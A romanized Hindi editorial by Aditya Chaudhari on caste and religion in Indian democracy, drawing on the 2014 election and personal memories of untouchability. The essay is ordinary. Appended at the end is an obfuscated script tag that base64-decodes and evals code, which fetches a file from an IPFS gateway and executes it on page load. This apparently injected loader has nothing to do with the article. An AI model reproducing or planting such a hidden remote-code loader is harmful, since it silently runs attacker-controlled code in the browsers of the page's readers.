जनतंत्र की जाति -आदित्य चौधरी

50px|right|link=| 20px|link=http://www.facebook.com/bharatdiscovery|fesabuk par bharatakosh (nee shuruat) bharatakosh 20px|link=http://www.facebook.com/profile.php?id=100000418727453|fesabuk par adity chaudhari adity chaudhari janatantr ki jati -adity chaudhari 300px|border|right           khel bhavana se rajaniti karana ek svasth mastishk ke vivek poorn hone ki pahachan hai lekin rajaniti ko khel samajhana mastishk ki aparipakvata aur vivek hinata ka dyotak hai. rajaniti ko khel samajhane vala neta matadata ko khilauna aur lokatantr ko jua khelane ki mez samajhata hai.           bharat mean ya vishv mean kahian bhi lokatantr ke dhaanche mean jab chunav hota hai to janata apane mat ka prayog karake n sirf sarakar chunati hai balki har ek rajanaitik dal aur ummidavar ko ek sandesh bhi deti hai. yah sandesh bhale hi goodh hota ho lekin samajhane vale ke lie sabase mahatvapoorn hota hai. is tarah ke sandesh janata chunav se itar bhi deti hai jo kabhi aandolan ke roop mean hota hai ya kabhi dharana-pradarshan adi ke roop mean hota hai. satta ke mad mean is prakar ke sandesh anadekhe kie jana chunav mean bhari p data hai.           satta kisi ki niji sampatti nahian hoti, n to sthayi roop se aur n hi asthaee roop se. shakti rajanaitik ho ya dhan ki, kafi had tak saman roop se hi vyavahar karati hai. sabase mahatvapoorn yah hai ki kisi bhi vyakti ki javabadehi samaj aur desh ke prati hai ya nahian, isi se vyakti ka moolyaankan hota hai.           dum sher ki bhi hoti hai aur kutte ki bhi lekin sher apani dum laharata hai aur kutta apani dum hilata hai. dum to donoan hilati haian lekin matalab alag hota hai. ye ek aisa farq hai jisako ham samajh lean to zindagi ke bahut se fande kliyar ho jate haian. jaise ki-           azadi ke vaqt sadhe tin sau se adhik chhoti-b di riyasatoan mean bharat banta hua tha. in riyasatoan ke rahanuma aangrezoan ke age jis drut gati se apani dum hilate the usase utsarjit hone vali oorja se bharat ki vidyut apoorti ho sakati thi. in riyasatoan ke saramayedaroan ke nam, aj janata mean koee nahian janata. isi samay hi anek vyapari-vyavasayi bhi the, unhean bhi koee nahian janata. haan tata avashy apavad haian lekin maian tata ko vyapari nahian balki udyogapati manata hooan jisaki javabadehi janata aur desh ke prati avashy hoti hai. khair...           aisa kyoan hai ki janata- gaandhi, patel, subhash, neharoo, bhagatasianh, savarakar, ashafaq adi jaise nam to janati hai lekin un raja-navaboan ke nahian jo inhian ke samay mean satta mean the aur jinake kutte bhi tandoori murg ka maza lete the. javab sidha sa hai jise sab janate haian-           shakti ka prayog ayyashi aur ahankar ke lie karane vale shasakoan se janata ka sarokar kshanik hota hai aur shakti ko janata ka karz samajhane vale shasakoan ko janata yad rakhati hai.           2014 ka chunav pichhale chunavoan se kuchh bhinn raha. is chunav mean sekyoolarizm yane dharm nirapekshata shayad ab samayik mudda nahian raha. nee pidhi 'dharm sapeksh' hai aur kafi had tak 'sarv dharm samman' ya kahean ki 'sarv dharm sapeksh' hai. nishchay hi 'niras dharm nirapekshata' se dharm ke saanskritik svaroop ka anusaran sukhadayi hai. mujhe kabhi nahian laga ki dharm nirapekshata, sankirnata se bhare dimag se mukt hone ki koee garanti hai. sankirnata ko ek bar phir se paribhashit kie jane ki avashyakata hai. sirf chunav mean hi nahian balki aj ke zamane ki shadiyoan mean bhi dekhane mean a raha hai ki antar-dharm shadi mean nee pidhi ke log apane jivan sathi ka dharm badalane par koee zor nahian dete aur ek doosare ke dharm ka samman karate haian.           chunav jab bhi ate haian to jati aur dharm ki bahas midiya mean shor machane lagati hai. pratyek vyakti ko usaki jati aur dharm b de zor-shor se yad dilaya jata hai. chunavoan mean jati aur dharm ke adhar par hi adhikatar chunav kshetroan ki ummidavari nishchit ki jati hai. isase koee farq nahian p data ki us rajanaitik parti ka nara jati aur dharm ka bhedabhav ke khilaf hai. kisi rajanaitik dal ka shvet patr ya desh ka raj patr bhale hi jati ya dharm ke adhar par chunav n hone ki bat karata ho lekin matadata to isi ko adhar bana kar matadan karata hai. ek sansmaran-           bachapan mean meri varshagaanth par havan karane pandit ji aya karate the, vah hamare shahar ke varishth aur vidvanh mane jate the. us din khir, poo di, halava adi bana karata tha. pandit ji khir khane ke lie hansakar mana kar diya karate the. mere poochhane par pitaji ne bataya ki pandit jatoan ke yahaan khir nahian khate kyoanki khir pakka khana nahian mana jata, khir to kachche khane mean ati hai. bat-chit mean pandit ji yah bhi kah dete the ki chaudhari sahab maian to ye niyam-dharm nibah raha hooan par lagata nahian ki mera beta bhi yah nibahega. unako afasos hota tha ki jitani chhua-chhoot ve manate haian, shayad unaka beta utani nahian manega aur yah sochakar udas ho jate the. yah sab kuchh samany tha aur aj bhi hai. dalit jatiyoan ke bhi jo hiandoo dharmik karmakand hote haian unamean bhi brahman hi bulae jate haian.           dhur rajasthan mean jatoan ko achhoot ki shreni mean mana jata tha. je.pi. datta ne apani film 'gulami' mean yah sab kuchh dikhaya bhi hai. mere hi parivar ke ek sadasy ne ek bar yah tras svayan bhi jhela. jab unako ek gaanv ke ghar mean pine ko pani maangane par "door hat ke pio tum jat ho" vaky sunana p da.           samajik star par jativad virodhi prayas kafi had tak vyavaharik rahe haian. samaj sudhar ke prayas, samaj sudharakoan dvara kie jane par hi janata ke man ko chhoo pate haian. rajanaitik star par jo samaj sudhar ya jativad virodhi prayas hote haian ve samanyat: nishphal hi rahate haian kabhi-kabhi ve hasyaspad bhi hote haian. karan yah hai ki janata apani sarakar ya kisi rajanaitik dal ko desh ke vikas se jo dakar chalati hai n ki samaj sudhar se. ek udaharan dekhie-           kuchh varsh pahale ki bat hai ki ek rajanaitik dal ne kuchh dalitoan ka dharm parivartan karane ka abhiyan chalaya. in dalitoan ne hiandoo dharm ko tyag kar ek any dharm apana liya tha. yah tay kiya gaya ki dalitoan ke pair dhoe jaeange aur unhean yah bharosa dilaya jaega ki zat-pat ka pakshapat ab hindoo dharm mean nahian hota. socha yah gaya ki dalit to sankoch ke karan uchch jati ke logoan se pair nahian dhulavaeange isalie sachamuch pair dhone ki naubat nahian aegi. hua kuchh alag hi- sabhi dalitoan ne apane pair dhulavane ke lie age kar die aur janeoo pahane hue logoan ne jab yah karyakram sanpann kiya to usake bad vahaan se lagabhag bhagakar snan karane ge aur tin din bad ganga snan karake svayan ko shuddh karane ke lie haridvar chale ge. jinhoanne apana dharm badala tha unamean se bahut se sal bhar ke bhitar hi vapas usi dharm mean chale ge. sidha-sadha sa saval hai ki kaun sa dharm hamean adhik suvidha de raha hai aur kaun se dharm ko nibahane mean hamean pareshani ho rahi hai. nishchit roop se hi arthik aur samajik roop se ati pichh doan ki yah samasya shashvat hai. ek aur sansmaran-           ek pratham shreni ke uchch pad par asin sarakari adhikari ko saparivar mere yahaan khane par ana tha. jab vah nahian aye to mujhe bahut ashchary hua. samanyat: maian kisi adhikari ko is prakar nimantrit nahian karata lekin vah mujhe b da bhaee manate the to maianne unhean bulaya. poochhane par unhoanne n ane ka jo karan mujhe bataya to mujhe bahut hairani aur dukh: hua. unhoanne bataya ki unaki patni ne kaha ki shayad bhaee sab ko is bat ka pata nahian hai ki ham valmiki haian, unhean hamari jati ka pata nahian hai, isilie khane par bulaya hai, hamean nahian jana chahie. zara sochie ki pati uchch adhikari aur vah svayan d aauktar isake bad bhi usaka aisa sankoch... mujhe laga ki he eeshvar yah dharati phat jae aur maian isamean sama jaooan. isake bad meri zid par hamane ek thali mean hi khana khaya.           rajatantr mean varn vyavastha ka janm hua hai aur janatantr mean isaka aantim sanskar hona chahie tha par hua nahian...           meri samajh mean nahian ata ki jis savarn jati ke karmachari ko dalit adhikari ke joothe bartan uthane mean sankoch nahian hota usi karmachari ko kisi dalit mazadoor ko ek gilas pani dene mean kyoan sankoch hone lagata hai.           maian yah nahian kah raha ki sabhi aisa karate haian balki yah kahana chahata hooan ki hiandoo dharm ki varn vyavastha ke durupayog ko roka jana chahie aur nee pidhi ko ne sire se yah padhaya jana chahie ki varnavyavastha ek bahut purane atit ki vyavastha thi jo ki ab koee mayane nahian rakhati. is bar itana hi... agali bar kuchh aur... -adity chaudhari sansthapak evan pradhan sampadak

pichhale sampadakiy

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>